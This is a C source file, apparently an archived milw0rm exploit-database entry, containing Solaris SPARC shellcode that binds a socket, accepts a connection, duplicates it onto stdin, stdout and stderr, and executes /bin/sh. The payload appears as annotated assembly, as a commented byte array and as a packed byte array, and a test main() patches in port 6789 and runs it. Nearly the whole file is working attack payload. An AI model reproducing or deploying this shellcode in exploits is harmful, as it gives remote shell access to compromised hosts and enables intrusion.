/*
* Solaris shellcode - connects /bin/sh to a port
*
* Claes M. Nyberg 20020624
* <cmn@darklab.org>, <md0claes@mdstud.chalmers.se>
*/
#include <string.h>
/**********************************************************************
void
main(void)
{
__asm__("
! Server address
xor %l1, %l1, %l1 ! l1 = 0
st %l1, [%sp - 12] ! 0 <=> INADDR_ANY
mov 0x2, %l1 ! AF_INET
sth %l1, [%sp -16] ! Server family
mov 0x30, %l1 ! High order byte of Port
sll %l1, 0x8, %l1 ! <<
or 0x39, %l1, %l1 ! Low order byte of port
sth %l1, [%sp - 14] ! Server port
! Address length
mov 0x10, %l1 ! 16, sizeof(struct sockaddr_in);
st %l1, [%sp -36] ! Length of address
! Create socket
mov 0x2, %o0 ! o0 = AF_INET
mov 0x2, %o1 ! o1 = SOCK_STREAM
xor %o2, %o2, %o2 ! o2 = 0
mov 0xe6, %g1 ! g1 = 230 = SYS_so_socket
ta 8 ! socket(AF_INET, SOCK_STREAM, 0);
add %o0, 0x1, %l0 ! l0 = server_fd +1
! Bind address to socket
sub %sp, 16, %o1 ! o1 = &server
mov 0x10, %o2 ! o2 = 16 = sizeof(struct sockaddr_in);
mov 232, %g1 ! g1 = 232 = SYS_bind
ta 8
! Listen
sub %l0, 0x1, %o0 ! o0 = server_fd
xor %o1, %o1, %o1 ! backlog = 0
mov 233, %g1 ! g1 = 233 = SYS_listen
ta 8
! Accept
sub %l0, 0x1, %o0 ! o0 = server_fd
sub %sp, 32, %o1 ! o1 = &client
sub %sp, 36, %o2 ! o2 = &addrlen
mov 234, %g1 ! g1 = 234 = SYS_accept
ta 8
add %o0, 0x1, %l0 ! l0 = client_fd
! Set up IO
sub %l0, 0x1, %o0 ! o0 = client_fd
mov 0x9, %o1 ! o1 = F_DUP2FD
xor %o2, %o2, %o2 ! o2 = 0 = STDIN_FILENO
mov 0x3e, %g1 ! g1 = 62 = SYS_fcntl
ta 8 ! fcntl(client_fd, F_DUP2FD, STDIN_FILENO);
sub %l0, 0x1, %o0 ! o0 = client_fd
mov 0x1, %o2 ! o2 = 1 = STDOUT_FILENO
ta 8 ! fcntl(client_fd, F_DUP2FD, STDOUT_FILENO);
sub %l0, 0x1, %o0 ! o0 = client_fd
mov 0x2, %o2 ! o2 = 1 = STDERR_FILENO
ta 8 ! fcntl(client_fd, F_DUP2FD, STDERR_FILENO);
! Execve /bin/sh
xor %o2, %o2, %o2 ! o2 = 0 => envp = NULL
set 0x2f62696e, %l0 ! lo = '/bin'
set 0x2f2f7368, %l1 ! l1 = '//sh'
st %o2, [%sp - 4] ! String ends with NULL
st %l1, [%sp - 8] ! Write //sh to stack
st %l0, [%sp - 12] ! Write /bin to stack
sub %sp, 12, %o0 ! o0 = &string
st %o2, [%sp - 16] ! argv[1] = NULL
st %o0, [%sp - 20] ! argv[0] = &string
sub %sp, 20, %o1 ! o1 = &string
mov 0x3b, %g1 ! g1 = 59 = SYS_execve
ta 8 ! execve(argv[0], argv, NULL);
! Exit
mov 1, %g1 ! g1 = 1 = SYS_exit
ta 8 ! exit();
");
}
**********************************************************************/
/* Index of low order byte for port */
#define P0 27
#define P1 19
static char solaris_code[] =
/* Server address */
"\xa2\x1c\x40\x11" /* xor %l1, %l1, %l1 */
"\xe2\x23\xbf\xf4" /* st %l1, [%sp - 12] */
"\xa2\x10\x20\x02" /* mov 2, %l1 */
"\xe2\x33\xbf\xf0" /* sth %l1, [%sp - 16] */
"\xa2\x10\x20\x30" /* mov 48, %l1 */
"\xa3\x2c\x60\x08" /* sll %l1, 8, %l1 */
"\xa2\x14\x60\x39" /* or %l1, 57, %l1 */
"\xe2\x33\xbf\xf2" /* sth %l1, [%sp - 14] */
/* Address length */
"\xa2\x10\x20\x10" /* mov 16, %l1 */
"\xe2\x23\xbf\xdc" /* st %l1, [%sp - 36] */
/* Create socket */
"\x90\x10\x20\x02" /* mov 2, %o0 */
"\x92\x10\x20\x02" /* mov 2, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x82\x10\x20\xe6" /* mov 230, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
"\xa0\x02\x20\x01" /* add %o0, 1, %l0 */
/* Bind address to socket */
"\x92\x23\xa0\x10" /* sub %sp, 16, %o1 */
"\x94\x10\x20\x10" /* mov 16, %o2 */
"\x82\x10\x20\xe8" /* mov 232, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
/* Listen */
"\x90\x24\x20\x01" /* sub %l0, 1, %o0 */
"\x92\x1a\x40\x09" /* xor %o1, %o1, %o1 */
"\x82\x10\x20\xe9" /* mov 233, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
/* Accept */
"\x90\x24\x20\x01" /* sub %l0, 1, %o0 */
"\x92\x23\xa0\x20" /* sub %sp, 32, %o1 */
"\x94\x23\xa0\x24" /* sub %sp, 36, %o2 */
"\x82\x10\x20\xea" /* mov 234, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
"\xa0\x02\x20\x01" /* add %o0, 1, %l0 */
/* Set up IO */
"\x90\x24\x20\x01" /* sub %l0, 1, %o0 */
"\x92\x10\x20\x09" /* mov 9, %o1 */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x82\x10\x20\x3e" /* mov 62, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
"\x90\x24\x20\x01" /* sub %l0, 1, %o0 */
"\x94\x10\x20\x01" /* mov 1, %o2 */
"\x91\xd0\x20\x08" /* ta 0x8 */
"\x90\x24\x20\x01" /* sub %l0, 1, %o0 */
"\x94\x10\x20\x02" /* mov 2, %o2 */
"\x91\xd0\x20\x08" /* ta 0x8 */
/* Execve /bin/sh */
"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */
"\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
"\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 */
"\x23\x0b\xcb\xdc" /* sethi %hi(0x2f2f7000), %l1 */
"\xa2\x14\x63\x68" /* or %l1, 0x368, %l1 */
"\xd4\x23\xbf\xfc" /* st %o2, [%sp - 4] */
"\xe2\x23\xbf\xf8" /* st %l1, [%sp - 8] */
"\xe0\x23\xbf\xf4" /* st %l0, [%sp - 12] */
"\x90\x23\xa0\x0c" /* sub %sp, 12, %o0 */
"\xd4\x23\xbf\xf0" /* st %o2, [%sp - 16] */
"\xd0\x23\xbf\xec" /* st %o0, [%sp - 20] */
"\x92\x23\xa0\x14" /* sub %sp, 20, %o1 */
"\x82\x10\x20\x3b" /* mov 59, %g1 */
"\x91\xd0\x20\x08" /* ta 0x8 */
/* Exit */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08"; /* ta 0x8 */
static char _solaris_code[] =
"\xa2\x1c\x40\x11\xe2\x23\xbf\xf4\xa2\x10\x20\x02\xe2\x33\xbf\xf0"
"\xa2\x10\x20\x30\xa3\x2c\x60\x08\xa2\x14\x60\x39\xe2\x33\xbf\xf2"
"\xa2\x10\x20\x10\xe2\x23\xbf\xdc\x90\x10\x20\x02\x92\x10\x20\x02"
"\x94\x1a\x80\x0a\x82\x10\x20\xe6\x91\xd0\x20\x08\xa0\x02\x20\x01"
"\x92\x23\xa0\x10\x94\x10\x20\x10\x82\x10\x20\xe8\x91\xd0\x20\x08"
"\x90\x24\x20\x01\x92\x1a\x40\x09\x82\x10\x20\xe9\x91\xd0\x20\x08"
"\x90\x24\x20\x01\x92\x23\xa0\x20\x94\x23\xa0\x24\x82\x10\x20\xea"
"\x91\xd0\x20\x08\xa0\x02\x20\x01\x90\x24\x20\x01\x92\x10\x20\x09"
"\x94\x1a\x80\x0a\x82\x10\x20\x3e\x91\xd0\x20\x08\x90\x24\x20\x01"
"\x94\x10\x20\x01\x91\xd0\x20\x08\x90\x24\x20\x01\x94\x10\x20\x02"
"\x91\xd0\x20\x08\x94\x1a\x80\x0a\x21\x0b\xd8\x9a\xa0\x14\x21\x6e"
"\x23\x0b\xcb\xdc\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8"
"\xe0\x23\xbf\xf4\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec"
"\x92\x23\xa0\x14\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01"
"\x91\xd0\x20\x08";
int
main(void)
{
void (*code)() = (void *)_solaris_code;
_solaris_code[P0] = 0x85;
_solaris_code[P1] = 0x1a;
printf("Shellcode length: %d\n", strlen(_solaris_code));
/* Shell on port 6789 */
code();
return(1);
}
// milw0rm.com [2004-09-26]
